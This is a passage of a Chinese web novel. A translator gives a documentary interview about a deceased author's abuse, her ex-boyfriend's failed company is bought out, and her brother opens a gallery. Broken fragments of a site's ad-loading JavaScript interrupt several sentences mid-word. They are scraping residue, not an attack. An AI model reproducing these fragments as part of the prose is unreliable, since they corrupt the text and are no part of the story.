临译社众人看到新闻的时候先是发愣,接着迅速执行起约定好的计划来。一开始段黛说方案一的时候还是有些人不太相信的,干活的效率也不是那么高,生怕自己努力了一通最后打了水漂。 如今看到澳洲报道了奥莉薇与阿黛尔之间的事情,临译社众人算是松了一口气,可以毫无顾 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 忌地投入到工作之中了。 同行们都在因为奥莉薇的事件而紧急调整出版计划,很多执行到一半的选题不得不进行大刀阔斧的改造。在一派山雨欲来风满楼的行业背景之下,临译社反而显得非常有条不紊了。 有人嘀咕道:“没想到段老师说到做到,真就让那边召开新闻发布会了……” 关月兰一开始也是震撼,但莫名有种就该如此的感觉。 段黛,就是这样一个说到做到,从不讲空话的人啊。 有影视公司发现了其中可挖掘的空间,决定以此为题拍摄纪录片。这下组成的调查组就更齐全了,没几天就把各类证据和信息整理地明明白白。 纪录片的工作人员提前约好了时间,来到段黛居住的酒店进行采访拍摄。在沙发上坐下之后,记者问段黛:“请问您现在是在做什么呢?” 段黛不知道为什么要问这么无聊的问题,如实回答:“在接受你们的采访啊。” “……” 拍摄组成员忍不住笑,记者努努力还是压住了嘴角:“听阿黛尔的责编凯丽说,段黛小姐沉迷于工作,会抓紧一切碎片化时间完成翻译,所以在我们来之前您是在进行翻译稿件的撰写吗?” 段黛“噢”了一声:“这确实是的。我们之前约定好了下午两点进行采访,所以我将这段时间提前划了出来以便迎接你们的到来。在这之前我确实是在翻译作品的。” 拍摄组本来还以为能拍到段黛敲键盘的画面呢,没想到段黛提前安排好了日程,专门空出时间来等他们。 工作人员征求了段黛的同意后,拍摄了一下她在澳洲期间工作用的书房。桌面上放着笔记本电脑,前面的阅读架上夹着一本书,并不刻意的整洁,只是纯粹的简单。 “段小姐现在在翻译的是阿黛尔的遗作吗?” 段黛:“不是。阿黛尔的遗作还在编辑加工阶段,等到定稿之后我才会进行翻译。” 她把阅读架上的书取了下来,英文原版的书,让这群英语母语的人也能看懂。 记者有些诧异:“没想到段黛小姐在调查阿黛尔女士的事件时也不忘记动笔工作呢。” 段黛莞尔:“这没什么。” 我司雇我在嘛。 关心完了段黛的工作,拍摄组将话题引到了他们关注的重点上。记者和段黛重新回到采访开始时的沙发边,提问:“根据阿伦公司的说法,您一直执着于寻找能证明阿黛尔被侵犯的证据。请问您在读过阿黛尔的遗作之后第一想法是什么?有没有想过会是阿黛尔在污蔑自己的母亲奥莉薇呢?” 段黛:“我读完之后的感受是吃惊和震撼。我知道这是一部半自传性质的小说,作品中的各种剧情应该都是发生在阿黛尔女士身上的真实事件。在震惊之后,我想的是求证,求证这些事情到底只是虚构的情节,还是阿黛尔女士真正的遭遇。” 记者言辞犀利:“所以,你是怀疑过阿黛尔污蔑奥莉薇的,是吗?” 71. 承认自己受到伤害 段黛摇头:“并没有。求证是一个非常必要的过程,就像警察接到报案后也要事后搜查证据一样。我得知了她诉于笔下的痛苦,所以我要调查她痛苦的真相,仅此而已。” 记者:“您调查证据,不是出于对奥莉薇感到愤怒,或者怀疑阿黛尔污蔑的想法?一点也没有吗?” 段黛:“我只相信事实。只有事实才能证明谁对谁错,我不能主观臆断。” 记者点了点头:“如今奥莉薇逝世即将五十周年,请问段小姐怎么看待奥莉薇呢?她因为女性主义作品而成名,却对自己女儿的遭遇视而不见,您觉得她的作品是否还值得阅读呢?” 段黛两手在膝盖前交叠,脸上依然没有什么表情:“我并不是专业的学者,所以不敢贸然评价奥莉薇笔下的女性主义。不过我认为作者与作品本身应该是切割开的,对两者的评价不能混淆。我们也遇到过由人品堪忧的作者创作出来的优秀作品,所以对于奥莉薇的作品还需要更专业的人士来做进一步评价。” 拍摄组愕然。本来想引导段黛说出一些对奥莉薇的激进言辞,好给纪录片一些更重的噱头。要是她能说出来“这种人也配说女性主义”或者“奥莉薇的作品一文不值”这样的话那就更好了,在世界各国出版业都在为即将进入公版的作品做准备的时候一定能激起不小的争议。没想到段黛的回答四平八稳滴水不漏,一板一眼的像是人工智能生成的一样。 记者不死心,又试探了几次之后,段黛眉心微蹙:“为什么要反复询问相同的问题?” 记者无奈,只得放弃用段黛做争议话题的想法。 她稳了稳心神,来到比较煽情的最后一步:“阿黛尔女士在临终前嘱托,希望能由您来翻译其遗作的中文版本。我们了解到之前发生在您身上的《殡葬师》翻译相关事件,很多人都认为,正是这件事让阿黛尔女士打定主意让您来做中译本的翻译。请问段小姐觉得自己身上的哪些特点吸引了阿黛尔女士?或者说……您在读过遗作之后,是否有和阿黛尔女士产生共鸣呢?” 《殡葬师》相关事件,包括《殡葬师》此书的书名乌龙,以及初版中文翻译汪贵宗和段黛之间弓虽女干未遂和正当防卫的案件。 段黛看着镜头,神色平静:“我想,可能是一种思想上的转变吧。” “很多人,不仅仅是女性,也包括男性,在遇到性|侵一类的侵害后,第一想法是‘这很丢脸’‘不能让别人知道’,而不是‘我要为自己讨回公道’。其实也不仅仅是性|侵,许多受害者出于面子相关因素,都不敢承认自己曾收到过侵害,比如家暴、霸凌……让受害者承认自己受到过侵害,其实是维权或法律援助中最困难的一步。” “而我始终觉得,身为受害者我并没有做错什么,所以我不觉得受到侵害是‘丢脸的’,是‘不能让人知道的’。我要的是保护好自己,是维护自己的权益。或许阿黛尔女士也是意识到了这一点,所以才下定决心公开遗作的存在,不再费尽心力去埋葬曾经的痛苦吧。” 段黛神色淡然,却目光炯炯:“尊严在于自己,不在于他人的目光。我们应该为了维护自己的合法权益努力,而不是思考别人会怎样看待自己。仅此而已。” 停顿片刻,房间里忽然响起了一阵掌声。 拍摄组的工作人员们,只要是手里没拿东西的,都不由自主地鼓起了掌。扛着镜头的摄像师因为腾不出手来而微微颤抖,心里却同样汹涌澎湃。 工作人员离开时,记者问她:“段小姐会不会担心我们恶意剪辑呢?” 段黛指了指旁边支起来的平板:“不太担心,因为其实我也录像了。” 要不然为什么在书房的时候只让他们参观不让他们提问呢。 记者:“……” 这位来自中国的翻译家真是各种意义上的滴水不漏啊。 阿黛尔与奥莉薇的纠葛渐渐明晰,段黛为临译社打探消息的使命也算结束了。不过由于澳洲这边还在深挖阿黛尔年少时期的过往,而段黛也恰好要收集相关的信息,所以依然留在这里,并不急于回国。 而国内现在也很有意思。 陈方烨还是从段黛的V博里才知道她又出国了的事,当即又阴暗爬行了好一阵。林深不少员工都辞职了,精神不正常的老板所领导的公司到底能发展成什么样子,谁也不敢赌。事实上员工们的选择也不无道理,陈方烨后面又做了几个决策,不仅没让林深盈利,反而还赔进去不少。 宋语瑶对陈方烨道:“这样下去林深会破产的。Season有收购林深的意向,你要不要考虑一下?” 陈方烨怒道:“你们休想吞并林深!” 宋语瑶耸了耸肩,不再多话。 剩下还未辞职的员工们大多不太担心失业,每天照常来办公室打卡,说不定最后被裁还能混个N+1拿一拿。当他们看到陈方烨又在到处乱跑的时候只会悄悄吐槽:“我们公司好像要完蛋了呢。” 也不知是不是故意的,就在林深的楼上,Season浙省分部办公区搭建了起来。陈方烨看到写字楼外墙上已经出现了“Season”的广告灯牌,明显比已经掉漆的“林深”看起来更加气派。他又惊又气,坐着电梯直接到了楼上,一出来就看到了Season的logo。 更气人的是,logo旁边站着的黎尚轩。 陈方烨瞪大了眼睛:“你怎么在这?” Season浙省分部的负责人微微颔首,叫了陈方烨一声“陈总”,颇为欠揍地说了一句“以后就是邻居了,咱们多多关照”。这简直就是贴脸开大,陈方烨被气的差点没昏过去,还是对黎尚轩的质问让他不至于失去理智。 黎尚轩一脸淡定:“我是设计师,来给Season设计办公室的。” 写字楼本就规划好了大致的办公分区,公司可以直接搬进来然后办公。不过Season对办公地点有更多个性化的需求,所以聘请设计师来做改造。 然后聘请的设计师就是黎尚轩。 “你是设计师?”陈方烨莫名有些优越感, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “我还以为你是开公司的老板呢。” 黎尚轩本来是扭过头来和他说话的,闻言转过身来面对着陈方烨,从上到下打量了他一番,随后开口:“像你这样的老板吗?那还是算了吧。” 这种被审视后又轻视的感觉让陈方烨升起一股无名火,可又不知道该怎么回嘴,只能自己站着干生气。 他想起来那天看到两人一起去超市,明知道答案会刺自己的心,却还是忍不住开口:“你们同居了?” 从前段黛也想要和他一起住的,但陈方烨拒绝了。住在一起就和夫妻无异了,他可以接受段黛成为自己的恋人,但接受不了她进入自己私生活的领地。 他知道段黛一直期待那种两人一猫三餐四季那种柴米油盐细水长流的日子,但他故意装作不知道。 毕竟同居之后,求婚就不远了。他还没做好要和段黛步入婚姻殿堂的打算…… 没想到现在这些段黛都和另一个人实现了。 然而黎尚轩蹙眉道:“同居?你在想什么,段黛家的面积可是我家的两倍呢。” 陈方烨先是一愣,随后惊喜道:“你们没同居?” 转念一想又觉得不对劲:“段黛不是租房?不是……你们不是租房?” 黎尚轩:“……你知道吗,段黛其实有厌蠢症,她不喜欢蠢货的。” 陈方烨下意识道:“但是她喜欢我。” 接着他的脑子拐了好几个弯才反应过来,怒道:“你骂我是蠢货?” 黎尚轩耸了耸肩,原来真的有人自己说自己是蠢货啊。 也不知道是不是在自我安慰,陈方烨像是在说给黎尚轩听,又像是在自言自语:“……你们是分开住的,看来你们的感情也不过如此……” 黎尚轩再度蹙眉:“你到底在说什么啊。段黛的边界感很强的,就算是信任的人也只能偶尔去她家做客,住在一起……我天,想都不要想。” 陈方烨猛地抬头:“怎么可能?她明明就很向往那种……那种婚后生活……” 黎尚轩嗤笑一声:“段黛向往的是不被打扰的私人空间和工作环境。你这个前男友真是……” 他没再说下去,却用悲悯的眼神看着他,还很是无奈的摇了摇头。陈方烨的脑子里一片混乱,他什么意思,他是想说自己一点也不了解段黛吗?可是段黛明明…… 明明…… 陈方烨忽然发现自己根本就不了解段黛。从前他自以为知道段黛在想什么而不屑一顾,可后来段黛性情大变,让他怀疑自己从前所了解的她都是假象。 而现在,黎尚轩又用这种可怜他的语气说话…… 陈方烨破防了。 黎尚轩语气一转:“对了,我来的时候才发现,林深就在楼下啊。听说Season还有林深的股份呢,现在办公场所也近了,估计你们业务往来也更方便了……” 陈方烨落荒而逃。 他们和Season能有什么业务往来!只有Season虎视眈眈地想要吞下他们罢了! 72. 你要不找个班上吧 段黛在澳洲待了接近两个月。奥莉薇与阿黛尔之间的过去已经调查的清清楚楚了,需要段黛配合的各种采访也终于结束了。 段黛看着豪华的套房“归心似箭”,在回国前一晚又认真泡了一次房间里的温泉,并把完成的译文发给了关月兰,在关月兰【你居然这么快就写完了】的感叹中,让稿子先自己一步回国。 下飞机时段黛还穿着毛呢大衣。直到热风迎面而来,她出了一头汗之后才反应过来,现在国内正是盛夏,和澳大利亚的季节恰好相反。 她赶紧去卫生间里翻出了当时上飞机穿的短袖换上,这才不至于在机场里太过另类。走到到达大厅时,她看到了向她招手的黎尚轩。 见到人后黎尚轩走上前来,接过她手里的行李箱道:“欢迎回来……你怎么出这么多汗?” 他从口袋里摸出几张纸巾来递给她,段黛接过后擦了擦汗:“我忘了南北半球季节不一样了,下飞机之后才想起来应该穿短袖……” 黎尚轩笑了起来:“我也是刚想起来澳洲那边还是冬天呢。” 车子开出停车场,段黛看到路边有几家Season的门店。她感觉有点奇怪:“Season开到临安来了?” 虽说她刚出国那阵就已经有几家门店了,但是还没到这么多的程度。 黎尚轩扭头看了一眼,道:“林深破产了。” 段黛刚听到林深两个字还有些恍惚,脑子拐了好几个弯之后才想起来这是原主和陈方烨一起开的公司。她靠在车座上感受着空调吹出来的风,眯着眼睛道:“居然还撑了这么久,不容易啊。” 原主离开林深之后,陈方烨那个想一出是一出的家伙居然还撑了一年呢。 “Season把林深收购了,一夜之间临安所有林深的门店都换了Season的牌子。所以……现在才到处都是。” 段黛颇有些震撼,随后反应了过来。难怪她觉得不对劲了,这些门店本来都是林深的,现在骤然换了门牌,自然是和以往大不一样了。 公司没了,总裁自然也不是总裁了。段黛想象不出现在陈方烨到底是什么样子,但光是看着随处可见的Season的logo就忍不住笑出声。 也不知道陈大总裁会选择东山再起还是老老实实找工作呢…… 不过这些都不重要了。段黛靠在靠背上闭目养神。她的时间很宝贵,不是用来观察失败者的悲惨人生的。 Season其实非常仁慈,它挖走了林深的饮品研发部门,归到了自己的研发团队之下。尸位素餐的人被踢了出去,大部分员工都被吸纳了过来,并且薪资翻了一倍。在宋语瑶的运作下,之前跟着段黛的林深合伙人又被招揽回来,给了相应的股份。林深的原班人马几乎只是从楼下搬到了楼上,曾经的林深变成了Season浙省分部。 加盟的门店也只是换了个东家。Season出钱把门牌换了,培训了一下更多奶茶的做法,于是店长还是原来的店长,店员还是原来的店员,他们依然做着奶茶,只是牌子从林深变成了Season。 在这场大变动之中几乎无人伤亡,甚至大部分人都欢天喜地。毕竟Season的福利待遇可比身为初创公司的林深好多了。 只有陈方烨和他的那些狐朋狗友们受伤的世界达成了。 林深被收购那天登上了本地新闻,它的知名度还不到让全国都关注的程度。陈方烨看着Season几乎是“剪切”“粘贴”一般把自己的公司挪到了楼上时目眦欲裂。偏偏黎尚轩居然也在,还和新公司的负责人道:“如果有不合适的地方随时联系我。” 陈方烨真不想被段黛的“现任”看到自己这么狼狈的样子。可黎尚轩不仅看到了他,还非常真诚地宽慰他:“陈总,留得青山在不怕没柴烧,你可以找个班上的。” 陈方烨本想骂人的,但是黎尚轩一脸真诚不似作伪,好像真的只是在安慰他一样。 被段黛介绍来的一个合伙人拍了拍他的肩膀:“陈总,大部分人在新公司也有职务和股份,你应该也有。想开一些,虽然不当老板了,但是该有的还是都有啊是不是?” 陈方烨知道林深被收购之后,他的债务能大部分抵消,自己的困境能缓解不少。并且据说Season总裁非常仁慈,陈方烨这样的高层大概率也是会招揽进来的,并且薪资待遇更高…… 但是他就是咽不下那口气。 之前自己做老板高高在上,现在却要给Season打工……他实在是接受不了。 在家躺了两天之后,他总算是说服自己接受现状,在Season分部当个高层总比什么都没有要好。 然而他在家里等了一个周,依然没有任何通知他上岗入职的消息。陈方烨察觉到不对劲,赶紧联系了宋语瑶:“Season给我安排的职位是什么?” 宋语瑶的声音在电话里听起来不太真切:“职位?没有你的职位啊?” 该挖过来的员工早就联系发offer了,现在甚至有人已经入职了,他的消息也太滞后了吧。 幸亏他们是打电话联系的,如果是面对面交流的话,陈方烨一定会被宋语瑶嘲讽而表情气到落荒而逃。 “在段黛离开林深之后,你独自掌权林深,却能把好好的公司搞成现在这副样子,说明你的决策能力和管理水平都不行。你的股份拿来抵债了,所以分部这里也没有你的股份……你还有什么疑问吗?” 陈方烨如遭雷击。 他好不容易接受了自己要给Season打工的未来,结果Season看不上他,根本不用他来打工? “段黛留下的合伙人、员工和各种模式都不错,既然你不要的话我们就拿走了。” “得亏你没把她留下的东西全改了,不然我们连收购都不想收购。” 陈方烨捏着手机僵硬在原地,连宋语瑶什么时候挂断的电话都不知道。 宋语瑶说的很直白,就差把“没有段黛你什么都不是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ”这句话说出来了。 当年陈方烨觉得自己话语权不够,想方设法把段黛挤了出去,本以为林深自此就是他的天下了,没想到从那之后公司就走向了下坡路。本来以为联名会是转机,能把公司救回来,没想到这一步根本走不通,于是他只能眼睁睁地看着林深江河日下。 他之前也听到过有员工窃窃私语,说公司没了段黛之后就越来越完蛋了。他那时憋着一股劲儿想要证明这句话是错的,于是拼命的想新的决策做改革…… 然后被收购林深的Season再一次提出来,没了段黛他什么都不是。 陈方烨颓然地坐在原地。当年是他提出来要创业的,而段黛又是一个满心满眼都是他的女朋友。所以他自然而然地认为段黛的所作所为都是为了讨自己的欢心,从来没想过原来她才是公司的真正核心。 他打开手机,几乎不用打开什么APP就能看到关于段黛的消息。她接受了澳洲当地的采访,她找到了诺奖获得者作品的真相……甚至有小道消息称,段黛似乎获得了什么女性力量奖的提名。 段黛离开了他后蒸蒸日上,他离开了段黛后一盘散沙。 “这就是我一直以来忽视你所需要付出的代价吗……” 陈方烨喃喃自语。 澳洲和国内的时差不大,所以段黛几乎不怎么需要倒时差,第二天就又进入了工作状态。新的翻译合同还没签,但段黛不会因此就松懈。正好去澳洲调查了不少关于阿黛尔的资料还没整理,趁着关月兰还没能拿出新工作来给她时,自己可以先整理一下。 她把拍摄的照片用画钉一张一张地扎在软木板上,又按照地区整理了一下自己做下的笔记。最近最新版的字典发行了,段黛也要及时补充自己的硬件资料……总之她忙的事情还是挺多的。 奥莉薇逝世五十周年的日子到底还是来了,因为阿黛尔的事,临译社没急着推出全新译本。同行们倒是有卡着日期发行的,但是首印量都不多。关于奥莉薇的作品是否还能算女性主义,相关学者争吵不休。更多的人还是在感慨,怎么会有人表里不一到这般地步。虽说临译社并没有去凑奥莉薇公版书的热闹,但为着《那时我只有十二岁》也是忙到飞起。 临译社忙着执行改良过的出版计划,段黛忙着给自己各种各样的事情,一时间达成了一种诡异的和谐。 不过就在段黛下单新字典的时候,手机忽然震了一下。 是许久没联系的段墨。 【我回国了。】 段黛看着这条消息有些莫名其妙。留学和工作出差可不一样,一年半年才能回来是比较正常的情况。但是段墨这才出去多久,怎么就回来了? 莫非是因为日本离得近,所以回家探亲,过两天就又走了? 不过段黛并不打算多问什么,只发了一句:【我知道了。】 回来就回来吧,学了什么知道了什么也和她没关系。她很忙,实在是没有时间去关注这个便宜哥哥的想法。 73. 便宜哥疑似逆袭 段黛回国后,除了出去买了一次菜之外再没出门。大概过了半个月左右,裴斯羽忽然给她发消息:【你哥办画展了。】 段黛愣了一下,发消息:【什么?】 裴斯羽发了一张照片给她。临译社旁边那家美术馆,也就是段墨曾经工作过的地方,挂起了海报支起了宣传栏,上面赫然是段墨的照片。 裴斯羽:【这是你哥吧?】 段黛一脸意外:【确实是。】 没想到段墨出这趟国还挺有用的,回来之后居然连画展都能办了。段黛虽然不可思议,但情绪也没有太大波动。如果段墨真能自己搞出什么名堂来,那也算是他有本事。 段黛没有管太多。她恢复了出国前的作息,每天工作十二个小时,每周会空出半天来和黎尚轩一起出门买菜,然后回家打扫一下卫生。关月兰觉得段黛现在的样子简直离谱,头一次见自由职业的人比他们这些上班的还忙。更可怕的是段黛根本闲不住,提前完成工作后就要接着进行下一项。但是发行计划不会提前太多,以至于关月兰手里的稿件越攒越多。 这样下去的话,段黛迟早能把明年的任务也翻译完。 得亏段黛现在还有了翻译日语的乐趣,卷够了关月兰就去卷顾笙。两个交集不多的编辑一起吃饭时共同哭笑不得,顾笙问:“段老师以前真的是知名开天窗选手吗?” 关月兰:“是啊,整个英法德编辑室的人都知道。” 顾笙百思不得其解:“真的会有人从一个极端走向另一个极端吗?” 关月兰伸了个懒腰:“明年林若愚毕业后正式入职咱们社,到时候让她帮我一起……我觉得明年咱们社应该针对段黛列一个全新的出版计划,稿件都压在手里也不是事儿啊。” 澳洲那边,阿伦发来邮件,《那时我只有十二岁》已经完成了排版设计,马上就要交付印刷了。pdf版本的定稿发了过来,段黛这里也可以开始准备做中文翻译了。 毕竟阿黛尔和奥莉薇的事情还在被热议,出版方的想法都是尽快出版。不仅仅是中国,阿伦也联系了其他国家的出版社签订了合作。估计在中译本发行的同时,其他语言的译本也会面世。 如此一来,段黛的任务还是挺重的。 不过任务再重段黛也始终是有条不紊的,关月兰默认了她肯定会在截稿日之前把稿子交上,所以连催都没催,只说让她注意劳逸结合。 周三这天黎尚轩给她发消息:【咱们这附近新开了一家美术馆,要不要周末去看看?】 段黛想了想,自己也确实很久没去超市以外的地方了,便同意了黎尚轩的邀约。于是周六的时候,段黛难得换上了一身比较正式的衣服,和黎尚轩一起出了门。 新美术馆矗立在马路一侧,圆筒的形状别具一格,非常具有让人摸不着头脑的艺术气息。段黛眯着眼睛看着地上插着的地牌——Ink美术馆。 “……我怎么有种不太对劲的预感……” 进门之后光线就暗了下来,入口一侧便是馆长的个人介绍。黎尚轩“咦”了一声:“馆长也姓段啊。” 段黛猛地抬头,只见段墨一身奇装异服的照片就挂在旁边。 “馆长居然是段墨?” 段黛愈发震撼了。她不太清楚艺术家们的收入模式,也不了解他们的地位水平。但是能开美术馆的话……应该算是混得不错的吧? 段墨这小子竟然有如此能耐? 黎尚轩看着段墨的照片,隐约觉得有几分眼熟。见他想不起来,段黛提醒道:“去年在美术馆闹事的那个,我哥。” 黎尚轩的记忆瞬间清晰了许多。他一脸诧异:“这么看他真是大有长进啊。” 段黛摸了摸脸:“我也挺意外的……可能出国一趟发现了什么机会吧。他能靠着自己找到门路,也算是他厉害了。” 馆内悬挂了不少作品,不只有段墨的,还有其他一些段黛没听说过的画家。每幅作品下面都有价格标注,段黛随便看了一眼,都是几万到几十万不等。其中场馆内最中央的一幅作品标价五百万,惊掉了段黛的眼睛。 她转头问黎尚轩:“你是学设计的,你觉得这个画怎么样?” 黎尚轩哭笑不得:“我虽然是学设计的,但也不是搞艺术的……这些画看起来都还不错,但是到底能估出什么价我就不知道了。” 正在段黛怀疑这些画真的能卖出去吗的时候,她看到了几个上了年纪西装革履的人正围在一幅标价三千万的画的面前,听到有人说:“这副画送到我公司去吧。” 她再上前一步,看到了半年未见的段墨。 段墨穿着一件下摆不规则的上衣,发型做的很是规整,一方面看起来与过去大不相同,另一方面又依旧保持了那种让段黛摸不着头脑的“艺术感”。 段墨微笑道:“运送费要另算噢。” “当然。” 那群看起来就像是成功人士的人离开了,段墨一转头,看到了不远处站着的段黛。他的脸上露出了片刻的愣怔,随后笑了起来:“你也来了。” 段黛神色复杂:“看来你的梦想实现了。” 段墨的嘴角微微上扬,但眼中的笑意并不真切:“很吃惊吗。” 几个工人走了过来,把那幅三千万的作品取了下来,运到后面的房间里准备打包。段黛环视四周:“确实很吃惊。” 段墨看着周围琳琅满目的画:“我现在一边画画,一边也做着艺术品的生意……赚了不少钱吧算是。爸妈搬家了,不住在原来租的那个房子了。我换了个高档的小区买了一套房子,现在父母住在那里……” 段黛:“噢。” 她也不打算再去看父母了,他们搬到哪都无所谓。 “……” 两人都陷入了尴尬的沉默。 黎尚轩绕了一圈,回来又站到了段黛身后。段黛转头看向他:“都看完了?” 黎尚轩点了点头:“大致看了一圈。我们回去?” 段黛:“好。” 见着人转身,段墨似是终于鼓起了勇 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 气:“段黛。” 段黛扭头看着他。段墨继续道:“你有什么想对我说的吗?” 段墨并不傻。段黛撤回了对他的所有帮助,当然是希望他就此一蹶不振的。如今他反而功成名就了,这明显不是段黛想要看到的情况。 她会怎么说呢? 是警告他别太得意,还是不敢相信他现在拥有的一切,劝他别走歪路? 然而段黛只是淡淡地笑了:“也没什么想说的。能实现梦想很不容易,恭喜啊。” 非常平静,一脸无所谓。与段墨想象的反应天差地别。 她不眼红他的成功,不在乎他的“打脸”,好像只是看一个毫无关系的存在一样。 “那我们就先走了。” 段黛和黎尚轩一起向外走去。段墨站在场馆中央,看着她的背影,心里空落落的。 关于阿黛尔遗作的纪录片在澳洲播出了,国内虽然还未引进,但已经有一些花絮流了出来,其中最主要的当然就是段黛接受采访的片段。影片里段黛穿着宽松的卫衣,恬静地坐在豪华套房里的沙发上,得体地回答着拍摄组的问题。 当视频播到段黛说“尊严在于自己,不在于他人的目光”时,各个视频网站上的弹幕都一片沸腾。 ——段黛大帝! ——说得好! ——我也发现了,段黛大帝对什么事都很坦然,从来不扭捏也不遮掩。 ——对,她认为对的事情就没必要关注太多不同意见,规则感很强,不玩那些虚的。 ——当时汪贵宗那个事情也是,段黛根本不担心什么事情会不会闹大。那时候应该正当防卫,她就正当防卫了。 ——估计段黛大帝根本不觉得□□羞辱之类的事情应该存在吧? ——难怪阿黛尔遗言是希望段黛大帝来翻译她的作品…… ——段黛真的很认真地在找证据! 这段采访在澳洲本土就已经颇受赞叹了,不少人都被这位中国姑娘的气度所折服。而传到本国之后更是不得了,网友们赞美的同时,又觉得段黛一脸性冷淡地说着英文的样子非常养眼,颇有智性恋天花板的感觉,以至于段黛的形象被画到了姬圈天菜的范畴…… 段黛本人对于这些赞美一向是一笑而过的,不过她多少还是有点疑问:“为什么叫大帝?” 段黛并不记得自己做过什么像皇帝一样颐指气使的事情。 关月兰:“好像是因为你当时在伦敦酒吧的一个视频吧,网友觉得你坐在那里不怒自威有帝王之相,也不知道是谁起的头……总之就变成大帝了。” 段黛:“……” 居然还能这样。 关月兰:“听说亚洲女性力量奖会提名你,你有听到什么风声吗?” 段黛:“……不太清楚。” 关月兰:“不管有没有都挺好的。咱们继续加油。” 段黛:“好。” 不过还没等到提名,段黛却被通知自己获得了另一个称号——文化自信使者。 74. 在最狼狈的时候看到前任 文化自信使者,大概是十几年前提出文化自信的要求后设置的一个称号,用来表彰为弘扬传播中华传统文化做出杰出贡献的个人或集体,每年有十个名额。凤姿龙章公司在几年前因为致力于网文出海而获得了这个称号。 获得这个称号的大多是非遗传承人与文化工作者。而段黛因为辅助训练了翻译模型,助力大量网文向海外传播,也被授予了这个称号。 整个临译社在看到消息后都吃了一惊,毕竟段黛投资凤姿龙章并参与线上事务处理的事情没有跟任何人说过,就连关月兰都不知道她还趁着空闲的时候把中文的网文翻译成了英文。 称号授予并不需要前往外地领奖,但官方会来到被授予称号的使者家附近录制与文化传播相关的采访片段。段黛身为翻译,采访自然要来她常年合作的出版社。 段黛先记者一步来到办公室时,一群人唰的一下都围了过来:“段老师,你真是闷声干大事啊!” 段黛笑道:“我也不知道随手做的事情居然能获奖……” 关月兰啧啧啧几声:“段黛大帝,你还有多少惊喜是朕不知道的?” 记者们先在临译社采访了一下编辑们对段黛的看法。关月兰身为责编被簇拥着,在镜头前夸赞段黛工作非常认真——“是临译社要给她单独列出版计划的程度”。 接着记者们又去了段黛的家里,观看她日常工作的地方。段黛给他们展示了自己的书房,众人纷纷感慨,不愧是文字工作者。 随着采访视频在网上的公开,前段日子因为各种事情而关注段黛的网友们沸腾了。段黛的手机收到无数条消息,认识的不认识的朋友同学都向她发来祝贺。 黎尚轩看到通知后给段黛发了好几个表情包:【恭喜!】 黎尚轩:【这个必须得好好庆祝一下,正好客户送了我两张餐厅的劵,今晚有空吗?明天后天也都可以。】 段黛:【行!正好我也交稿了,今晚去吧。】 黎尚轩:【坐我车吧,方便一些。】 黎尚轩像往常一样,接上段黛后出发去了餐厅。下车时他看到前面有家名叫“茶魔”的奶茶店,转头问段黛:“没想到茶魔也开到临安来了。要不要先去买两杯喝的?” 段黛看到那个只在网上见过的logo时也有些吃惊。去年陈方烨说要把林深一步到位开边全国的时候,曾把创立于商申市的茶魔和创立于秣陵市的Season列为竞争对手。现在Season已经遍布全国了,而茶魔也在临安冒了头。 到头来只有林深没了啊。 她点了点头:“好啊。” 下车后黎尚轩拎着段黛的包,两人一起走向店铺。门一推开,段黛听到一个熟悉的声音:“欢迎光临茶魔——” 不过段黛并没有追究这个声音的主人到底是谁。她扫了一下墙上的点单码,对黎尚轩道:“你想喝什么?” 站在柜台后摇奶茶的陈方烨在看到段黛的瞬间白了脸。他现在穿着茶魔的工作服,为了防止有头发掉进奶茶里,他的头上还戴着一顶滑稽的帽子。因为在店里忙了一天,又是打单子又是做奶茶的,现在的陈方烨一脸疲惫。 没想到在这么狼狈的时候会碰到段黛啊! 然而段黛对此无知无觉,根本就没发现刚才对她说欢迎光临的员工就是她的前男友。她转头对黎尚轩道:“最近事情还挺多的,我有好一段时间没休息了……” 黎尚轩反而发现了目瞪口呆的陈方烨。他的嘴角微微上扬,对着陈方烨露出了一个意味深长的笑容。 陈方烨的心里更加翻江倒海了,怎么会先让他看到啊! 黎尚轩当然也察觉到了陈方烨的局促,不由得扬起了嘴角。他倒是没有直接跟段黛说什么,而是继续接她的话:“你的那个休息,还是指继续翻译吗?” 段黛浑然不觉:“是啊。” 黎尚轩:“……你那哪叫休息,分明是换了个工作类型吧。” 段黛理直气壮:“工作是英语和法语翻译,休息是日语翻译,还是不一样的。” 陈方烨的瞳孔微微放大了。 日语? 段黛不是英语法语翻译吗,怎么还有日语? 段黛选了一个奶茶,选好甜度和温度后把手机递给了黎尚轩:“你看你喝哪个?” 黎尚轩却走到点单台前:“既然都来了,那就现点好了。您好?” 他笑眯眯地看着陈方烨。还在思索段黛和日轻有什么关系的陈方烨猛地抬起头来,对上了他那有些不怀好意的眼睛:“……您好。” 黎尚轩:“请问你们这里有□□捏捏好喝到咩噗茶吗?” 陈方烨:“……啊?” 下完单的段黛听到黎尚轩说这话时有些奇怪,她一脸好笑地抬头:“你怎么突然说话这么机车……哎呦。” 段黛终于看清了陈方烨的脸,登时一脸意外:“陈方烨?你怎么在这?” 他一定是故意的!陈方烨颇有些怨恨地瞪了黎尚轩一眼,尴尬道:“……真巧啊。” 段黛看着一身茶魔工作服的陈方烨,感觉非常不可思议:“你……在这工作?” 虽然经常能看到小说电视剧里有反派破产后只能扫大街的桥段,但陈方烨最后剩下的债务不算多,他自身也有学历条件和工作经验,按理说找一份专业对口且高薪的工作是不难的。 怎么会来这做奶茶啊? 陈方烨确实不至于沦落到只能来奶茶店打工的程度。茶魔入驻浙省扩张店面,陈方烨应聘后成为了临安市的地区经理。不过茶魔要求所有员工都必须有基层工作经历,以便于更好地做决策和管理。于是陈方烨入职的第一个月就是在各个门店做店员,接单并制作奶茶。 黎尚轩道:“说不定陈先生是经理之类的,来门店考察呢。” “……” 陈方烨刚想辩解又被停住了。他如果说对就是他说的这样,那听起来有种欲盖弥彰的感觉,反倒更不好说了。 就在陈方烨几乎快要原地爆炸的时候,黎尚轩又道:“毕竟陈总以前可是当老板的,现在怎么可能只是在这做奶茶呢?” 陈方烨:“……” 